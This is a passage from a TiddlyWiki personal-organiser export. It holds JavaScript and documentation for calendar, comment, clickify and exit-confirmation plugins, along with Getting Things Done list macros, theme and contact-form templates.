				var now=new Date();
				if ((now-celldate>=0) && (now-celldate<86400000)) // is today?
					daycell.style.background = config.macros.calendar.todaybg;
				if(window.findTiddlersWithReminders == null) {
					var link = createTiddlyLink(daycell, title, false);
					link.appendChild(document.createTextNode(day));
				} else
					var button = createTiddlyButton(daycell, day, title, onClickCalendarDate);
			}
		}
		day++;
	}
}
//}}}
//{{{
// Create a pop-up containing:
// * a link to a tiddler for this date
// * a 'new tiddler' link to add a reminder for this date
// * links to current reminders for this date
// NOTE: this code is only used if [[ReminderMacros]] is installed AND [[DatePlugin]] is //not// installed.
function onClickCalendarDate(ev) { ev=ev||window.event;
	var d=new Date(this.getAttribute('title')); var date=d.formatString(config.macros.calendar.journalDateFmt);
	var p=Popup.create(this);  if (!p) return;
	createTiddlyLink(createTiddlyElement(p,'li'),date,true);
	var rem='\\n\\<\\<reminder day:%0 month:%1 year:%2 title: \\>\\>';
	rem=rem.format([d.getDate(),d.getMonth()+1,d.getYear()+1900]);
	var cmd="<<newTiddler label:[[new reminder...]] prompt:[[add a new reminder to '%0']]"
		+" title:[[%0]] text:{{store.getTiddlerText('%0','')+'%1'}} tag:%2>>";
	wikify(cmd.format([date,rem,config.options.txtCalendarReminderTags]),p);
	createTiddlyElement(p,'hr');
	var t=findTiddlersWithReminders(d,[0,31],null,1);
	for(var i=0; i<t.length; i++) {
		var link=createTiddlyLink(createTiddlyElement(p,'li'), t[i].tiddler, false);
		link.appendChild(document.createTextNode(t[i]['params']['title']));
	}
	Popup.show(); ev.cancelBubble=true; if (ev.stopPropagation) ev.stopPropagation(); return false;
}
//}}}
//{{{
function calendarMaxDays(year, mon)
{
	var max = config.macros.calendar.monthdays[mon];
	if(mon == 1 && (year % 4) == 0 && ((year % 100) != 0 || (year % 400) == 0)) max++;
	return max;
}
//}}}
//{{{
function createCalendarDayRows(cal, year, mon)
{
	var row = createTiddlyElement(cal, 'tr');
	var first1 = (new Date(year, mon, 1)).getDay() -1 - (config.options.txtCalFirstDay-0);
	if(first1 < 0) first1 = first1 + 7;
	var day1 = -first1 + 1;
	var first2 = (new Date(year, mon+1, 1)).getDay() -1 - (config.options.txtCalFirstDay-0);
	if(first2 < 0) first2 = first2 + 7;
	var day2 = -first2 + 1;
	var first3 = (new Date(year, mon+2, 1)).getDay() -1 - (config.options.txtCalFirstDay-0);
	if(first3 < 0) first3 = first3 + 7;
	var day3 = -first3 + 1;

	var max1 = calendarMaxDays(year, mon);
	var max2 = calendarMaxDays(year, mon+1);
	var max3 = calendarMaxDays(year, mon+2);

	while(day1 <= max1 || day2 <= max2 || day3 <= max3) {
		row = createTiddlyElement(cal, 'tr');
		createCalendarDays(row, 0, day1, max1, year, mon); day1 += 7;
		createCalendarDays(row, 0, day2, max2, year, mon+1); day2 += 7;
		createCalendarDays(row, 0, day3, max3, year, mon+2); day3 += 7;
	}
}
//}}}
//{{{
function createCalendarDayRowsSingle(cal, year, mon)
{
	var row = createTiddlyElement(cal, 'tr');
	var first1 = (new Date(year, mon, 1)).getDay() -1 - (config.options.txtCalFirstDay-0);
	if(first1 < 0) first1 = first1+ 7;
	var day1 = -first1 + 1;
	var max1 = calendarMaxDays(year, mon);
	while(day1 <= max1) {
		row = createTiddlyElement(cal, 'tr');
		createCalendarDays(row, 0, day1, max1, year, mon); day1 += 7;
	}
}
//}}}
//{{{
setStylesheet('.calendar, .calendar table, .calendar th, .calendar tr, .calendar td { text-align:center; } .calendar, .calendar a { margin:0px !important; padding:0px !important; }', 'calendarStyles');
//}}}
// // override cookie settings for CalendarPlugin:
//{{{
config.options.txtCalFirstDay=0;
config.options.txtCalStartOfWeekend=5;
//}}}

// // override internal default settings for CalendarPlugin:
//{{{
config.macros.calendar.journalDateFmt="DDD MMM 0DD YYYY";
//}}}
|widetable noborder|k
|padding:10px;<<tiddler CurrentMonthCalendar>>|vertical-align:top;padding:10px;<<showReminders leadtime:-14...7>> |
|widetable noborder|k
|padding:10px;<<tiddler CurrentMonthCalendar>>|vertical-align:top;<<dGSDList title:'Upcoming Ticklers (next 7 days)' startTag:Tickler tags:'!Actioned' view:Tickler mode:global newButtonTags:'Tickler Once' where:'tiddler.ticklerWillBeActiveWithin(7)' sort:'tickleDate' dontShowEmpty:no ignoreRealm:{{config.dGSD.getOptChk('AlertsIgnoreRealm')?'yes':''}}>>|
|~|<<dGSDList title:'Upcoming Meetings' startTag:Meeting tags:'!Trash && Upcoming' view:Meeting mode:global where:'tiddler.ticklerIsActive()&&tiddler.fields.mgtd_date' sort:'-tickleDate' dontShowEmpty:no newButtonTags:'Meeting Upcoming' ignoreRealm:{config.dGSD.getOptChk('AlertsIgnoreRealm')?'yes':''}}>>|
|~|<<dGSDList title:'Overdue Actions' startTag:Action tags:'!Done && !Dismissed && !Trash' view:Tickler mode:global where:'tiddler.ticklerIsActive()&&tiddler.fields.mgtd_date' sort:'tickleDate' dontShowEmpty:no ignoreRealm:{config.dGSD.getOptChk('AlertsIgnoreRealm')?'yes':''}}>>|
<<deleteAllTagged>>

order:4
button:c
buttonLong:cancelled
//{{{
TiddlyWiki.prototype.getCascadingTaggedTiddlers = function(lookupValue,lookupMatch,sortField)
{
	var candidates =[];
	store.forEachTiddler(function(title,tiddler) {if (tiddler.isTagged(lookupValue)) candidates.push(title)})
	var results = [];
	this.forEachTiddler(function(title,tiddler) {
		var f = !lookupMatch;
		for(var lookup=0; lookup<tiddler.tags.length; lookup++) {
			if((tiddler.tags[lookup]== lookupValue)|| (candidates.indexOf(tiddler.tags[lookup])>=0))
				f = lookupMatch;
		}
		if(f)
			results.push(tiddler);
	});
	if(!sortField)
		sortField = "title";
	results.sort(function(a,b) {return a[sortField] < b[sortField] ? -1 : (a[sortField] == b[sortField] ? 0 : +1);});
	return results;
};

config.macros.timeline.handler = function(place,macroName,params)
{
	var field = params[0] ? params[0] : "modified";
	var tiddlers = store.getCascadingTaggedTiddlers("excludeLists",false,field);
	var lastDay = "";
	var last = params[1] ? tiddlers.length-Math.min(tiddlers.length,parseInt(params[1])) : 0;
	var dateFormat = params[2] ? params[2] : this.dateFormat;
	for(var t=tiddlers.length-1; t>=last; t--) {
		var tiddler = tiddlers[t];
		var theDay = tiddler[field].convertToLocalYYYYMMDDHHMM().substr(0,8);
		if(theDay != lastDay) {
			var ul = document.createElement("ul");
			place.appendChild(ul);
			createTiddlyElement(ul,"li",null,"listTitle",tiddler[field].formatString(dateFormat));
			lastDay = theDay;
		}
		createTiddlyElement(ul,"li",null,"listLink").appendChild(createTiddlyLink(place,tiddler.title,true));
	}
};

config.macros.list.all.handler = function(params)
{
	return store.getCascadingTaggedTiddlers("excludeLists",false,"title");
};
//}}}
!!Actions
<<deleteAllTagged 'Delete old actions' 'Action' '' 'Done' 'tiddler.olderThanDays(14)'>>

<<dGSDList title:'Done actions older than 14 days'
	view:DoneAction
	mode:global
	sort:-modified
	startTag:Action
	tags:'Done'
	where:'tiddler.olderThanDays(14)'
	>>
!!Ticklers
Inactive ticklers older than 14 days.  <<deleteAllTagged 'Delete old ticklers' 'Tickler' '' 'Actioned' 'tiddler.olderThanDays(14)'>>
<<dGSDList title:'Inactive ticklers older than 14 days'
	startTag:Tickler
	tags:'Actioned'
	view:Tickler
	mode:global
	sort:-tickleDate
	where:'tiddler.olderThanDays(14)'
	>>
!!Projects
Completed projects older than 14 days. (Delete individually).
<<dGSDList title:'Completed projects older than 14 days'
	mode:global
	sort:-modified
	startTag:Project
	tags:'Complete'
	view:ProjectComplete
	where:'tiddler.olderThanDays(14)'
	>>
/***
|Name|ClickifyPlugin|
|Source|http://www.TiddlyTools.com/#ClickifyPlugin|
|Documentation|http://www.TiddlyTools.com/#ClickifyPlugin|
|Version|1.0.2|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|re-compute parameters when a 'command link' macro is clicked|
!!!!!Usage
<<<
Normally, when you use a //computed parameter// in a macro, it's value is determined when the macro is rendered.  The {{{<<clickify>>}}} macro can be used to force the macro parameters of an 'on-click' command link (such as created by the {{{<<newTiddler>>}}} macro) to be automatically re-computed when the command link is clicked, rather than when it is initially displayed.  This allows use of computed values that depend upon data that may change between the time the macro is rendered and when it's action is actually triggered by a click.

To apply this extended processing to any macro that creates a command link, simply insert the 'clickify' keyword in front of the usual macro name, like this:
{{{
<<clickify macroName param param param ...>>
}}}
<<<
!!!!!Example
<<<
When {{{<<newTiddler>>}}} is clicked, prompt for a title and set default text to current timestamp:
{{{
<<clickify newTiddler title:{{prompt('enter a title','NewTiddler')}} text:{{new Date()}}>>
}}}
><<clickify newTiddler title:{{prompt('enter a title','NewTiddler')}} text:{{new Date()}}>>
<<<
!!!!!Revisions
<<<
2010.07.17 [1.0.2] in b.onclick handler, pass event data ('ev') to command link click handler
2009.02.08 [1.0.1] make sure command link has been rendered before trying to modify it
2009.01.25 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.ClickifyPlugin={major: 1, minor: 0, revision: 2, date: new Date(2010,7,17)};
config.macros.clickify={
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		var cmd='<<'+paramString+'>>';
		var e=createTiddlyElement(place,'span');
		wikify(cmd.replace(/alert\(|prompt\(|confirm\(/g,'isNaN('),e);
		var b=e.getElementsByTagName('a')[0]; if (!b) return;
		b.setAttribute('cmd',cmd);
		b.onclick=function(ev) {
			var cmd=this.getAttribute('cmd');
			var e=createTiddlyElement(this.parentNode,'span');
			e.style.display='none';
			wikify(cmd,e);
			e.getElementsByTagName('a')[0].onclick(ev);
			this.parentNode.removeChild(e);
		}
	}
}
//}}}
<<SimileTimeline ClockTimelineSpec>>
|timelineHeight:|200|

|band0.width:|15%|
|band0.intervalUnit:|SECOND|
|band0.intervalPixels:|40|
|band0.eventSourceType:|timer|
|band0.eventSourceParams:|1|

|band1.width:|15%|
|band1.intervalUnit:|MINUTE|
|band1.intervalPixels:|40|
|band1.highlight:|false|

|band2.width:|15%|
|band2.intervalUnit:|HOUR|
|band2.intervalPixels:|60|
|band2.highlight:|false|

|band3.width:|15%|
|band3.intervalUnit:|WEEK|
|band3.intervalPixels:|100|
|band3.highlight:|false|

|band4.width:|15%|
|band4.intervalUnit:|MONTH|
|band4.intervalPixels:|100|
|band4.highlight:|false|

|band5.width:|15%|
|band5.intervalUnit:|YEAR|
|band5.intervalPixels:|200|
|band5.highlight:|false|
/***
|Name:|CloseOnCancelPlugin|
|Description:|Closes the tiddler if you click new tiddler then cancel. Default behaviour is to leave it open|
|Version:|3.0.1a|
|Date:|27-Jun-2011|
|Source:|http://mptw.tiddlyspot.com/#CloseOnCancelPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{
merge(config.commands.cancelTiddler,{

  handler_mptw_orig_closeUnsaved: config.commands.cancelTiddler.handler,

  handler: function(event,src,title) {
    this.handler_mptw_orig_closeUnsaved(event,src,title);
    if (!story.isDirty(title) && !store.tiddlerExists(title) && !store.isShadowTiddler(title))
      story.closeTiddler(title,true);
    return false;
  }

});

//}}}

!Collect Items
* ...
Name: dGSDSmoke
Background: #fff
Foreground: #000
PrimaryPale: #aaa
PrimaryLight: #777
PrimaryMid: #111
PrimaryDark: #000
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
/***
|Name|CommentPlugin|
|Source|http://www.TiddlyTools.com/#CommentPlugin|
|Documentation|http://www.TiddlyTools.com/#CommentPluginInfo|
|Version|2.9.5|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|automatically insert formatted comments into tiddler content|
!!!!!Documentation
>see [[CommentPluginInfo]]
!!!!!Configuration
>see [[CommentPluginInfo]]
!!!!!Revisions
<<<
2011.04.27 2.9.5 merge/clone defaultCustomFields for saving on TiddlySpace
| please see [[CommentPluginInfo]] for previous revision details |
2006.04.20 1.0.0 initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.CommentPlugin= {major: 2, minor: 9, revision: 5, date: new Date(2011,4,27)};

config.macros.comment= {
	marker: '/%'+'comment'+'%/',
	fmt: "__''%subject%''__\n^^posted by %who% on %when%^^\n<<<\n%message%\n<<<\n",
	datefmt: 'DDD, MMM DDth, YYYY at hh12:0mm:0ss am',
	tags: '',
	reverse: false,
	handler: function(place,macroName,params,wikifier,paramstring,tiddler) {
		var span=createTiddlyElement(place,'span');
		var here=story.findContainingTiddler(place);
		if (here) var tid=here.getAttribute('tiddler');  // containing tiddler title
		span.setAttribute('here',tid);
		var target=(params[0]&&params[0].length&&params[0]!='here')?params[0]:tid;  // target title
		span.setAttribute('target',target);
		var overwrite=(params[1]&&params[1].toLowerCase()=='overwrite'); if (overwrite) params.shift();
		span.setAttribute('overwrite',overwrite?'true':'false');
		var reverse=(params[1]&&params[1].toLowerCase()=='reverse'); if (reverse) params.shift();
		span.setAttribute('reverse',(reverse||this.reverse)?'true':'false');
		var marker=this.marker;
		if (params[1]&&params[1].substr(0,7)=='marker:') {
			var marker='/%'+params[1].substr(7)+'%/';
			params.shift();
		}
		span.setAttribute('marker',marker);
		var tags=(params[1]&&params[1].length)?params[1]:this.tags; // target tags
		span.setAttribute('tags',tags);
		var fmt=(params[2]&&params[2].length)?params[2]:this.fmt; // output format
		span.setAttribute('fmt',fmt.unescapeLineBreaks());
		var datefmt=(params[3]&&params[3].length)?params[3]:this.datefmt; // date format
		span.setAttribute('datefmt',datefmt.unescapeLineBreaks());
		var html=this.html;
		html=html.replace(/%nosubject%/g,(fmt.indexOf('%subject%')==-1)?'none':'block');
		html=html.replace(/%nomessage%/g,(fmt.indexOf('%message%')==-1)?'none':'block');
		var subjtxt=''; var msgtxt='';
		html=html.replace(/%subjtxt%/g,subjtxt);
		html=html.replace(/%msgtxt%/g,msgtxt);
		span.innerHTML=html;
	},
	html: "<form style='display:inline;margin:0;padding:0;'>\
		<div style='display:%nosubject%'>\
		subject:<br>\
		<input type='text' name='subject' title='enter subject text' style='width:100%' value='%subjtxt%'>\
		</div>\
		<div style='display:%nomessage%'>\
		message:<br>\
		<textarea name='message' rows='7' title='enter message text' \
			style='width:100%'>%msgtxt%</textarea>\
		</div>\
		<center>\
		<i>Please enter your information and then press</i>\
		<input type='button' value='post' onclick='\
			var s=this.form.subject; var m=this.form.message;\
			if (\"%nosubject%\"!=\"none\" && !s.value.length)\
				{ alert(\"Please enter a subject\"); s.focus(); return false; }\
			if (\"%nomessage%\"!=\"none\" && !m.value.length)\
				{ alert(\"Please enter a message\"); m.focus(); return false; }\
			var here=this.form.parentNode.getAttribute(\"here\");\
			var reverse=this.form.parentNode.getAttribute(\"reverse\")==\"true\";\
			var target=this.form.parentNode.getAttribute(\"target\");\
			var marker=this.form.parentNode.getAttribute(\"marker\");\
			var tags=this.form.parentNode.getAttribute(\"tags\").readBracketedList();\
			var fmt=this.form.parentNode.getAttribute(\"fmt\");\
			var datefmt=this.form.parentNode.getAttribute(\"datefmt\");\
			var overwrite=this.form.parentNode.getAttribute(\"overwrite\")==\"true\";\
			config.macros.comment.addComment(here,reverse,target,tags,fmt,datefmt,\
				s.value,m.value,overwrite,marker);'>\
		</center>\
		</form>",
	addComment: function(here,reverse,target,newtags,fmt,datefmt,subject,message,overwrite,marker) {
		var UTC=new Date().convertToYYYYMMDDHHMMSSMMM();
		var rand=Math.random().toString();
		var who=config.options.txtUserName;
		var when=new Date().formatString(datefmt);
		target=target.replace(/%tiddler%/g,here);
		target=target.replace(/%UTC%/g,UTC);
		target=target.replace(/%random%/g,rand);
		target=target.replace(/%who%/g,who);
		target=target.replace(/%when%/g,when);
		target=target.replace(/%subject%/g,subject);
		var t=store.getTiddler(target);
		var text=t?t.text:'';
		var modifier=t?t.modifier:config.options.txtUserName;
		var modified=t?t.modified:new Date();
		var tags=t?t.tags:[];
		for(var i=0; i<newtags.length; i++) tags.pushUnique(newtags[i]);
		var fields=merge(t?t.fields:{},config.defaultCustomFields,true)
		var out=fmt;
		out=out.replace(/%tiddler%/g,here);
		out=out.replace(/%UTC%/g,UTC);
		out=out.replace(/%when%/g,when);
		out=out.replace(/%who%/g,who);
		out=out.replace(/%subject%/g,subject);
		out=out.replace(/%message%/g,message);
		var pos=text.indexOf(marker);
		if (pos==-1) pos=text.length; // no marker - insert at end
		else if (reverse) pos+=marker.length; // reverse order by inserting AFTER marker
		var newtxt=overwrite?out:(text.substr(0,pos)+out+text.substr(pos));
		store.saveTiddler(target,target,newtxt,modifier,modified,tags,fields);
		autoSaveChanges();
		if (story.getTiddler(target))
			story.refreshTiddler(target,DEFAULT_VIEW_TEMPLATE,true);
		if (here!=target && story.getTiddler(here))
			story.refreshTiddler(here,DEFAULT_VIEW_TEMPLATE,true);
	}
};
//}}}
/***
|Name|CommentPluginInfo|
|Source|http://www.TiddlyTools.com/#CommentPlugin|
|Documentation|http://www.TiddlyTools.com/#CommentPluginInfo|
|Version|2.9.5|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|Documentation|
|Description|Documentation for CommentPlugin|
!!!!!Usage
<<<
syntax:
{{{
<<comment TiddlerName overwrite reverse marker:... tags format dateformat>>
}}}
where:
*''~TiddlerName'' //(optional)//<br>specifies the 'target' tiddler into which comments will be written.  If you use the keyword, //{{{"here"}}}// (or omit all parameters), the current tiddler is used by default.  The ~TiddlerName can also include special //substitution markers// to construct a unique target title by dynamically inserting values, where:
**%tiddler%=containing tiddler title,
**%UTC%=UTC timestamp (YYYYMMMDD.HHMMSSMMM),
**%random%=random decimal number (.123456789),
**%who%=current TiddlyWiki username,
**%subject%=comment subject text.
*''overwrite'' //(optional)//<br>Normally, comments are //added// to a target tiddler if it already exists.  However, if you use the ''overwrite'' keyword, the new comment text //''completely replaces the previous contents of an existing tiddler''//.
*''reverse'' //(optional)//<br>By default, new comments are added to the target tiddler //following// any existing comments.  When ''reverse'' is used, new comments are inserted //before// existing comments, resulting in a reverse-chronological display (i.e, newest comments shown first).
*''marker:...'' //(optional)//<br>specifies an alternative //substitution marker// within the target tiddler (see below).
*''tags'' //(optional)//<br>adds specified space-separated tags to the target tiddler whenever a comment is written.  Note that the list of tags should be enclosed in "..." so that it is processed as a single parameter.
*''format'' //(optional)//<br>specifies a custom output format that overrides the default format defined in {{{config.macros.comment.fmt}}} (see Configuration, below), using the following //substitution markers//:
**%tiddler%=containing tiddler title,
**%UTC%=UTC timestamp (YYYYMMMDD.HHMMSSMMM),
**%when%=formatted date/time,
**%who%=username,
**%subject%=subject,
**%message%=comment body text.
*''dateformat'' //(optional)//<br>specifies a custom date/timestamp output to be inserted in place of {{{%when%}} in the comment output format above.  Overrides the default format defined in {{{config.macros.comment.datefmt}}} (see Configuration, below).

To indicate the location within the target tiddler where new comments are to be inserted, embed {{{/%comment%/}}} as a //substitution marker// //within that target tiddler's source//.  Each new comment is inserted immediately preceding the marker, resulting in a time-ordered sequence of comments.  If no marker is present, new comments are appended to the end of the tiddler.  To insert comments from different forms into separate locations in the //same target tiddler//, you can use the ''marker:...'' parameter to specify alternative marker text (e.g., use "marker:note" or "marker:memo" to specify {{{/%note%/}}} or {{{/%memo%/}}} instead of {{{/%comment%/}}})
<<<
!!!!!Configuration
<<<
To configure the behavior and formats used by [[CommentPlugin]], //''place one or more of the following javascript statements in a tiddler tagged with<<tag systemConfig>>''//: //(note: the default values for each setting are shown)//
{{{
config.macros.comment.reverse=false;
}}}
>when set to {{{true}}}, all new comments are inserted //following// the comment marker instead of preceding it, resulting in a reverse chronological display order.  If no comment marker is present in the target tiddler source, the 'reverse' option is ignored and new comments are always appended to the end of the tiddler.
{{{
config.macros.comment.fmt="__''%subject%''__\n^^posted by %who% on %when%^^\n<<<\n%message%\n<<<\n";
}}}
>defines the comment output format to be inserted into the tiddler, where: %when%=date/time, %who%=username, %subject%=subject, and %message% is the body of the comment.  //Note: if you omit %subject% from the output format, the subject input field on the comment form will be automatically suppressed.  Similarly, omitting %message% from the output format suppresses the message input field.  This can be useful when using the {{{<<comment>>}}} macro to create simple activity logs that only require a short, one-line subject rather than entering extended message content.//
{{{
config.macros.comment.datefmt="DDD, MMM DDth, YYYY at hh12:0mm:0ss am";
}}}
>defines the date/timestamp output used within the comment format above.
{{{
config.macros.comment.tags="";
}}}
>defines an optional space-separated, list of tags to be added to the target tiddler whenever a comment is written.  This is most useful when the target tiddler is different from the tiddler containing the {{{<<comment>>}}} macro, to make it easy to locate that tiddler later on.

Note: as of revision 2.0.0, direct dependency on [[NestedSlidersPlugin]], [[MoveablePanelPlugin]], [[InlineJavascriptPlugin]] and [[ToggleSliders]] has been eliminated.  As a result, the comment form and generated comment output are no longer automatically contained within sliders and the "view all/close all" command is not automatically included.  To recreate the previous output format and comment interface, use the following syntax in the tiddler in which you want to place your comments:
{{{
+++^40em^[add a note]...
<<moveablePanel>>add a note
----
<<comment here "" "+++!!!!![%when% (%who%): %subject%]>...\n%message%\n===\n">>===
 | <<tiddler ToggleSliders with: here "view all" "close all">>
}}}
<<<
!!!!!Revisions
<<<
2011.04.27 2.9.5 merge/clone defaultCustomFields for saving on TiddlySpace
2010.11.30 2.9.4 use story.getTiddler()
2009.04.10 2.9.3 invoke autoSaveChanges() after adding a comment
2009.03.09 2.9.2 added marker:... macro parameter
2009.03.08 2.9.1 fix handling of nosubject/nomessage when macro param specifies output format
2008.05.17 2.9.0 optional 'overwrite' param replaces existing comment when stored as separate tiddler
2008.04.21 2.8.0 replaced use of %n markers with special 'named' markers: %tiddler%, %UTC%, %random%, %who%, %when%, %subject% and %message% to avoid conflict with TW core processing of tiddler content.  Also, added support for 'reverse' macro param.
2008.04.17 2.7.0 added support for constructing target by inserting UTC timestamp, random number, username and/or subject text into target tiddler title
2008.04.15 2.6.0 added support for custom format and dateformat parameters to override global default formats
2008.04.15 2.5.1 make sure tiddlers are displayed before attempting to refresh them
2008.04.15 2.5.0 refresh tiddler containing comment macro after adding new comment to target tiddler (if different)
2008.04.14 2.4.0 added optional tag list parameter for tagging the target tiddler when comments are written
2008.04.14 2.3.0 if %2 (subject) or %3 (message) are omitted from format string, suppress display and validation of corresponding form elements.
2008.04.13 2.2.0 added optional ~TiddlerName param to specify target tiddler for writing comments
2008.04.10 2.1.0 converted from inline script to plugin
2008.04.05 2.0.0 removed dependencies on NestedSlidersPlugin, MoveablePanelPlugin, ToggleSliders
2007.10.24 1.2.0 added config.options.txtCommentDateFormat
2007.07.05 1.1.0 added 'view all/close all' toolbar item plus code cleanup
2007.06.28 1.0.2 added tiddler.fields to saveTiddler() call (preserves custom fields)
2007.05.26 1.0.1 added support for optional 'reverse' keyword.
2006.04.20 1.0.0 initial release
<<<
<<saveChanges>>
<<search>>
<<closeAll>>
<<dGSDList
	title:'Complete'
	mode:global
	startTag:Project
	tags:'Complete'
	view:ProjectComplete
	group:day
	gView:bold
	gSort:-title
	newButtonTags:'Project Complete'
	sort:-modified
	>>
Waiting for available dates from client
/%!!Set/Unset Password
<<unlock>><<setPassword>>
//Warning! This sets a global password, locking the entire Wiki - however, it's ''slow'' as molasses when saving!//
//(Blank to unencrypt)//

----%/
<<tiddler 'MgtdSettings'>>
<<tiddler 'OptionsPanel'>>
----
!!Name This Wiki
[[Edit Site Title|SiteTitle]]
[[Edit Site SubTitle|SiteSubtitle]]

!!Theme
<<selectTheme>>
<<selectPalette>>
/***
|Name|ConfirmExitPlugin|
|Source|http://www.TiddlyTools.com/#ConfirmExitPlugin|
|Version|2.0.0|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|extra safety when exiting with unsaved changes|
For extra "data safety" when exiting from a TiddlyWiki document, this plugin prompts you to ''//save any tiddlers that are still being actively edited//''.  The plugin then provides an additional option to ''//save the entire TiddlyWiki document//'' before continuing.  Finally, if you do not choose to save the file and there are still unsaved tiddler changes, the standard TiddlyWiki warning message is then displayed as usual, with options to ''//stay on the current page or exit and lose all changes.//''
!!!!!Configuration
<<<
<<option chkAlwaysConfirmExit>> ''//always//'' confirm before exiting (even if no unsaved changes)
<<option chkSaveOnExit>> show save-before-exiting confirmation messages (if unsaved changes)
<<<
!!!!!Revisions
<<<
2008.09.05 2.2.0 renamed plugin ConfirmExitPlugin to better reflect general functionality
2008.09.05 2.1.0 added "always confirm exit" option {{{<<option chkAlwaysConfirmExit>>}}}
2008.04.03 2.0.0 completely re-written to provide checks for active tiddler editors and more consistent warning messages
2007.03.01 1.0.2 use apply() to invoke hijacked core function
2006.08.23 1.0.1 Re-released.  Note default is now to NOT enable second message. (i.e., standard behavior)
2006.02.24 1.0.0 Initial release.  Replaces ConfirmExitPlugin, which is now included in the TW core functionality.
<<<
!!!!!Code
***/
//{{{
version.extensions.ConfirmExitPlugin= {major: 2, minor: 2, revision: 0, date: new Date(2008,9,5)};

if (config.options.chkAlwaysConfirmExit===undefined) config.options.chkAlwaysConfirmExit=true;
if (config.options.chkSaveOnExit===undefined) config.options.chkSaveOnExit=false;

config.messages.activeEditorWarning=
	"Are you sure you want to navigate away from this page?"
	+"\n\n--------------------------------\n\n"
	+"'%0' is currently being edited."
	+"\n\n--------------------------------\n\n"
	+"Press OK to save this tiddler, or Cancel to skip this tiddler and continue.";

config.messages.unsavedChangesWarning=
	"Are you sure you want to navigate away from this page?"
	+"\n\n--------------------------------\n\n"
	+"There are unsaved changes in this TiddlyWiki document."
	+"\n\n--------------------------------\n\n"
	+"Press OK to save the document, or Cancel to continue without saving.";

// for browsers that support onBeforeUnload event handling
window.saveOnExit_coreConfirmExit=window.confirmExit;
window.confirmExit=function() {
	// call core handler (to invoke other hijacked 'on exit' code, e.g., [[StorySaverPlugin]])
	window.saveOnExit_coreConfirmExit.apply(this,arguments);
	// check for tiddlers being edited and offer chance to save/close each
	if (config.options.chkSaveOnExit) story.forEachTiddler(function(tid,elem) {
		if (elem.getAttribute("dirty")!="true") return;
		if (!confirm(config.messages.activeEditorWarning.format([tid]))) return;
		story.saveTiddler(tid);
		story.closeTiddler(tid);
	});
	// check for unsaved changes
	if(store && store.isDirty && store.isDirty()) {
		if (config.options.chkSaveOnExit && confirm(config.messages.unsavedChangesWarning))
			saveChanges(); // save the file
		else
			return config.messages.confirmExit; // 'unsaved changes' confirmation message
	} else if (config.options.chkAlwaysConfirmExit)
		return config.messages.confirmExit_nochanges||""; // 'no changes' confirmation message
}

// for older browsers that only support onUnload event handling
window.checkUnsavedChanges=function() { if(window.hadConfirmExit === false) window.confirmExit(); }
//}}}
Consults on Project, may be assigned Actions.

order:3
button:c
buttonLong:consultant
<<deleteAllTagged>>  //''Warning'': This will delete all your Contacts!!//

{{cols2{
  {{col{
    <<tiddler [[Next Actions by Contact]]>>
  }}}
  {{col{
    <<tiddler [[Contact List]]>>
  }}}
}}}
<<dGSDList title:'All Contacts' 
        tags:'Contact && !Trash' 
        view:contact
        mode:global
	newButtonTags:'Contact'
>>
<html>
<style>
.rolodex table {
border: 0px solid;
}

.rolodex tr, .rolodex td {
border: 0px solid;
}

</style>
</html>
<<tabs addressBookTabs
Overview "Email Addresses, Homepage URL, etc." TwabTabParts/tab1form
Home "Home Address/Phone, etc." TwabTabParts/tab2form
Business "Business Address/Phone, etc." TwabTabParts/tab3form
Misc "Notes, Birthday, SSN, etc." TwabTabParts/tab4form
>>
/% Note: PLEASE DO NOT EDIT THIS TIDDLER! It's needed for dGSD to include a "Contact Info" button on Contact Dashboards %/
<slider Contact Info>
<<tiddler ContactsFormTemplate>>
</slider>
<html>
<style>
.rolodex table {
border: 0px solid;
}
div#tiddlerDisplay div.uncollapsedView div.sliderPanel div.tabsetWrapper div.tabContents {
    width: 95%;
}
.rolodex tr, .rolodex td {
border: 0px solid;
}

</style>
</html>
<<tabs addressBookTabs
Overview "Email Addresses, Homepage URL, etc." TwabTabParts/tab1form
Home "Home Address/Phone, etc." TwabTabParts/tab2form
Business "Business Address/Phone, etc." TwabTabParts/tab3form
Misc "Notes, Birthday, SSN, etc." TwabTabParts/tab4form
>>
[[First slide|SlideShowExample-1]] 
SlideShowExample-2
SlideShowExample-3
SlideShowExample-4 (read the {{exclude{SlideShowPluginDoc}}} for more information)
Click on each context for a specific view of your Actions in that context.
/% Note: PLEASE DO NOT EDIT THIS TIDDLER! It's needed for dGSD to include a "Conversation Log" button on Contact Dashboards %/
<slider Conversation Log>
<<newJournal "YYYY/MM/DD - hh:0mm" label:"+" tag:ConversationLog hideTags noNotes [[$1]]>>
<<dGSDList
  startTag:'ConversationLog'
  dontShowEmpty:no
  tags:'[[$1]]'
  sort:-date
  gView:bold
  ignoreRealm:yes
  view:TiddlerText
>>
</slider>
/***
|Name|CoreTweaks|
|Source|http://www.TiddlyTools.com/#CoreTweaks|
|Version||
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.2.0|
|Type|plugin|
|Description|a small collection of overrides to TW core functions|
This tiddler contains small changes to TW core functions that correct or enhance standard features or behaviors.
***/
//{{{
// calculate TW version number - used to determine which tweaks should be applied
var ver=version.major+version.minor/10+version.revision/100;
//}}}
/***
----

***/
// // closed: won't fix //(leave as core tweaks)//
// // {{block{
/***
!!!637 TiddlyLink tooltip - custom formatting
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/637 - CLOSED: WON'T FIX
This tweak modifies the tooltip format that appears when you mouseover a link to a tiddler.  It adds an option to control the date format, as well as displaying the size of the tiddler (in bytes)

Tiddler link tooltip format:
{{stretch{<<option txtTiddlerLinkTootip>>}}}
